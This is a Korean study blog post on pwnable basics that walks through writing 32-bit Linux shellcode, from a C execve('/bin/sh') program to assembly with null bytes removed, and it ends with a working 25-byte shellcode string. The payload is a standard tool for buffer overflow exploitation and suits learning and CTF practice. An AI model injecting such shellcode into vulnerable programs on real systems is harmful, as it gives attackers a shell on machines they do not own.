Shell Code 만들기
전체적이 과정은 아래와 같다.
execve() 함수를 이용하여 shell code를 실행시키는 코드를 c언어로 작성해보겠다.
* execve 함수는 현재 실행 중인 프로세스를 새로운 프로세스로 덮어쓴다.
아래는 execve()를 이용해서/bin/sh 셸을 얻게 해주는 셸 코드를 c언어로 작성 한 것이다.
#include <stdio.h>
int main()
{
char*sh[]={"/bin/sh", 0};
execve(sh[0],&sh,0);
}
이제 작성한 코드를 컴파일후, gdb로 디버깅을 수행 후, 디버깅 결과를 바탕으로 셸코드를 어셈블리어로 작성해 보겠다.
앞의 내용을 기반으로 작성한 어셈블리 코드이다.
xor %eax, %eax
xor %edx, %edx
이부분은 나중에 스택에 push하여 인자를 전달하기 위해 0을 저장한다.
int 0x80은 시스템 콜을 호출하는 인터럽트이다.
셸코드 작성이 거의 다 됐다!
그런데 objdump로 작성한 코드를 디스어셈블 해보면 중간에 null(0x00)이 포함 되어 있는것을 볼 수 있다.
null바이트는 c언어에서 입력으로 들어오면 입력을 종료해 버리기 때문에 제거해야 한다.
mov $0xb, %eax
여기서 eax는 4바이트의 값을 저장할 수 있기 때문에 0xb는 자동으로 0b 00 00 00 으로 변환 된다.
따라서 eax의 하위 레지스터인 al을 사용해주면 null을 제거할 수 있다.
앞의 내용을 바탕으로 다시 작성한 셸코드이다.
objdump를 이용하여 다시 디스어셈블 해보면 아까와 다르게 null문자가 모두 제거 된 것을 확인 할 수있다!
여기서 마지막으로 기계어 코드를 추출하면 최종적으로 셸코드가 완성된다!
최종 완성된 셸코드(25바이트)
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80
'.study > pwnable' 카테고리의 다른 글
[포너블 기초]Shell Craft, Lazy Binding (0) | 2023.10.25 |
---|---|
[포너블 기초] Egg Shell, NX-Bit (0) | 2023.10.23 |
[포너블 기초] 버퍼 오버플로우 (0) | 2023.10.01 |
[포너블 기초] x86_handray (0) | 2023.09.14 |
[포너블 기초] 함수 호출 규약 (0) | 2023.09.14 |